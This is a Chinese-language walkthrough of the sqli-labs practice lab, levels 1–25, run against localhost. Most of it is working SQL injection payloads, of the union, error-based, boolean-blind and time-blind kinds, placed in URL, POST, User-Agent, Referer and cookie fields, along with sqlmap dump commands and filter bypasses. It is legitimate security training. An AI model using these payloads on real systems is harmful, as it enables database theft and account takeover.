sqli-labs writeup



information schema.schemata --+

爆表:

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆列:

```
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="f1ag" --+
```

爆值:

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(your_flag) from security.f1ag --+

得到flag

```
flag{SQLInjection_is_Very_Fun_and_Dangerous!}
```

或者直接用sqlmap跑

查库:

```
C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/
```

sqli-labs-master/Less-1/?id=1" --current-db --batch

查表:

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

```
sqli-labs-master/Less-1/?id=1" -D security --tables --batch
```

查列:

```
C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/
```

sqli-labs-master/Less-1/?id=1" -D security -T f1ag --columns --batch

查值:

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" -D security -T f1ag -C your_flag --dump --batch

得到flag:

flag{SQLInjection_is_Very_Fun_and_Dangerous!}

也可以一句命令全爆:

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/ sqli-labs-master/Less-1/?id=1" --current-db --dump --batch

第2关

union注入 有报错 数字型

输入?id=1'报错

输入?id=1"报错

输入?id=1 and 1=1 正常

输入?id=1 and 1=2 错误 说明是数字型注入,两边没有单双引号

构建?id=-1 union select 1,2,database() --+ 手工注入

直接sqlmap跑结果

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1" --current-db --dump --batch

第3关

union注入 有报错 字符型注入

输入?id=1'根据报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1") LIMIT 0,1' at line 1

中间是被一对单引号和括号包裹起来('')

构建?id=-1') union select 1,2,database() --+ 手工注入

或直接sqlmap跑结果

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-3/?id=1" --current-db --dump --batch

第4关

union注入 有报错 字符型注入

输入?id=1'正常

输入?id=1"报错

根据提示near "'1"") LIMIT 0,1' at line 1

中间被("")包裹起来

构建?id=-1") union select 1,2,database() --+手工注入

或直接sqlmap跑结果

第5关

布尔型盲注 字符型

输入?id=1'报错 根据提示是由''包裹起来,正确只显示you are in...

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(user())>0 -- # //判断是否为mysql

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ord(mid(user(),1,1))=114 -- # //返回正常说明数据库权限为 root

判断为布尔型盲注

用sqlmap跑结果

第**6**关

布尔型盲注 字符型

与上一题一样差别在被""包裹

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+ 延时返回 (时间型盲注用)

这里利用了sleep函数,基于时间的盲注。我们可以看到使用sleep函数后网站延迟了5秒说明我们插入的语句被执行了。存在注入。

这里就说说mysql中的sleep函数在注入中的作用,一般在页面说明一点返回都没有,所以语句都无返回的时候就会利用到sleep这个函数来确定我们的语句有没有被执行。一般基于布尔的盲注比基于时间的盲注少见很多。

直接用sqlmap跑

第**7**关

布尔型盲注 字符型 过滤注释符

1'报错,其他不报错,说明被"包裹,但构建id=1' and 1=1 --+还是报错, id=1' and 1='1 正常

说明本题把注释符号过滤了

http://127.0.0.1/sqli-labs-master/Less-7/?id=1' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and 1='1 返回正常

又回到布尔型盲注, 手工需要一个个猜测字符

直接用sqlmap跑

第**8**关

布尔型盲注 无报错 字符型

与第7关一样,只是把报错关闭了,不过没有过滤注释符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 -- #

直接sqlmap跑

第**9**关

时间型盲注 无报错 字符型

输入任何东西都只返回一个页面,无报错,构建?id=1' and sleep(5) --+发现有延时,时间型盲注

http://127.0.0.1/sqli-labs-master/Less-9/?id=3' AND ORD(MID((SELECT

DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and sleep(5) -- #

直接sqlmap跑

第10关

时间型盲注 无报错 字符型

与第九关一样,包裹符合由'改为"

直接sqlmap跑 (需要提升等级水平 --level 3)

第11关

POST注入 有报错 字符型

输入用户名admin和密码admin登录成功,再次登录用bs工具抓包然后ctrl+R发送到重发器

在uname=处输入admin") order by 3 --+ 报错,输入admin") order by 2 --+正常,证明是两列

构造POST内容: uname=-admin' union select 1, (SELECT+CONCAT(info)+FROM+INFORMATION_SCHEMA.PROCESSLIST) --+&passwd=&submit=Submit

返回查询语句:

Your Password:SELECT username, password FROM users WHERE username='-admin' union select 1, (SELECT CONCAT(info) FROM INFORMATION_SCHEMA.PROCESSLIST) -- ' and password=" LIMIT 0,1

说明是查询的username 和password两列

继续构造post内容查询(与第一关一样),最后一次查询:

uname=' union select 1, (SELECT+GROUP_CONCAT(your_flag+SEPARATOR+0x3c62723e)+FROM+security.f1ag) --+&passwd=&submit=Submit 发送返回flag

(注意:不要用浏览器构造POST发送,浏览器会转码特殊字符,造成失败)

或者直接用sqlmap跑

python ./sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --forms --current-db --dump --batch

或者python ./sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ -data="uname=111&passwd=111&submit=Submit --current-db --dump --batch

第**12**关

POST注入 有报错 字符型

与第十一关一样,字符型改由("")包裹

在bs重发器uname=处输入admin") --+登录成功,证明由("")包裹

(但在浏览器Username: 框输入admin") --+,因特殊字符被转码登录失败,却发现报错near ") and password= ("") LIMIT 0,1' at line 1)

bs构造POST内容

uname=") union select 1, (SELECT+GROUP_CONCAT(your_flag+SEPARATOR+0x3c62723e)+FROM+security.f1ag) --+&passwd=&submit=Submit

或直接sqlmap跑

第13关

POST注入 布尔型盲注 有报错 字符型

字符型改由('')包裹,但本次没有显示位置,页面只显示登录成功或失败

在bs重发器uname=处输入admin') --+显示登录成功,证明由('')包裹

(但在浏览器Username: 框输入admin') --+,因特殊字符被转码登录失败,却发现报错near ") and password=(") LIMIT 0,1' at line 1)

bs只能构造uname=admin') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 --+&passwd=&submit=Submit 语句, 登录 成功

手工只能一个个验证字符,很慢

直接sqlmap跑

第14关

POST注入 布尔型盲注 有报错 字符型

与第十三关一样,字符型改由""包裹,没有显示位置,页面只显示登录成功或失败

在bs重发器uname=处输入admin" --+,显示登录成功,证明由" "包裹

(但在浏览器Username: 框输入admin" --+,因特殊字符被转码登录失败,却发现报错near "' and password="" LIMIT 0,1' at line 1)

直接sqlmap跑

第15关

POST注入 布尔型盲注 没有报错

与第十一关一样,字符型改由''包裹,不过没有报错信息,只有登录成功和失败页面

在bs重发器uname=处输入admin' --+显示登录成功,证明由' '包裹

(但在浏览器Username: 框输入admin' --+,显示登录失败,不会报错)

直接用sqlmap跑(需要提升等级水平 --level 3)

第16关

POST注入 布尔型盲注 没有报错 与第十五关一样,字符型改由("")包裹,没有报错信息,只有登录成功和失败页面 在bs重发器uname=处输入admin") --+显示登录成功,证明由("")包裹 直接用sqlmap跑

第17关

POST注入 有报错

看到首页显示的是[PASSWORD RESET]密码重置,输入用户名admin密码admin显示更新密码成功

猜测一下这个页面的sql语句是: update table set password='newpassword' where username = 'name';

用户名输入admin 密码输入' or 1=1 and sleep(5) --+有延时返回,可以时间盲注

直接用sqlmap跑,需要用burp抓包,然后获取整个页面的信息后保存在1.txt文件中,然后

python sqlmap.py -r 1.txt -p passwd --batch --tech E --dbms mysql --current-db --dump

第**18**关

POST注入 User-Agent注入

成功登录后发现提示Your User Agent is: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0想到User-Agent注入

用bs抓包改User-Agent:' and updatexml(1,concat(0x3a,database()),1))#

成功返回XPATH syntax error: ':security'

将bs抓取的信息保存为1.txt, User-Agent行后加*, 直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --batch --current-db --dump --threads 10

第19关

POST注入 referer注入

成功登录后发现提示Your Referer is: http://127.0.0.1/sqli-labs-master/Less-19/ 想到是referer注入

用bs抓包改referer:

' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 0,1)),1))# //获取表名

'or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name="user" limit 0,1)),1))# //获取指定表字段名

将bs抓取的信息保存为1.txt,Referer行后加*,直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10

第20关

POST $注\lambda$ cookie $注\lambda$

打开后显示YOUR COOKIE: uname = admin and expires: Tue 01 Oct 2019 - 09:16:17 猜测是cookie注入

用bs抓包改cookie

uname=-1' union select 1, user(), database()--#//获取当前用户名和库名

将bs抓取的信息保存为1.txt, cookie行后加*, 直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10

或者

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-20/ --cookie="uname=admin" --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --level 3

第21关

POST注入 cookie注入 有加密 字符型

打开发现还是cookie注入,跟上第二十关一样,只不过base64加密了

bs抓包改cookie:

Cookie: uname=LTEnKSB1bmlvbiBzZWxlY3QgMSx1c2VyKCksZGF0YWJhc2UoKS0tlCM= //获取当前用户名 和库名

(就是Cookie: uname=-1') union select 1,user(),database()--#的base64加密)

将bs抓取的信息保存为1.txt, cookie行后加*, 直接用sqlmap跑, 此次需要加--tamper base64encode.py参数

python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --tamper base64encode.py

(或者: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=YWRtaW4%3D" -- tamper base64encode.py --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --level 3

注意该语句不用txt文件,但运行效率不高,所以建议用上面的txt语句:)

第**22**关

POST注入 cookie注入 有加密 字符型

本关和上一关一样,不过包含字符由('')改为""

bs抓包改cookie:

```
Cookie: uname=LTEilHVuaW9ulHNlbGVjdCAxLHVzZXloKSxkYXRhYmFzZSgpLS0glw== //获取当前用户名和
库名
```

(就是Cookie: uname=-1" union select 1,user(),database()--#的base64加密)

将bs抓取的信息保存为1.txt, cookie行后加*, 直接用sqlmap跑, 还需要加--tamper base64encode.py参数

python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --tamper base64encode.py

第23关

union注入 有报错 过滤注释符

本关开始进入高级关

直接使用sqlmap

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-23/?id=1 --current-db --dump --batch

第24关

更改管理密码

利用带有管理员账号的注册用户名,在修改密码的时候达到修改管理员账号密码的效果,,

注册用户名: admin' or '1'='1 密码为 admin

注册成功后,登录进去修改密码,将密码改为 123

更改后即可发现, admin用户的密码也被改成了123,

自行脑补一下, update tables set password='123' where username='admin' or '1'='1'

第25关

union注入 有报错 过滤or和and

该题和第一关一样,界面提示过滤or和and,双写or可绕过oorr

-1' union select 1,2, (SELECT+GROUP_CONCAT(your_flag+SEPARATOORR+0x3c62723e)+FROM+security.f1ag)--+ 或者sqlmap跑,在tamper目录增加脚本绕过

第26关

待续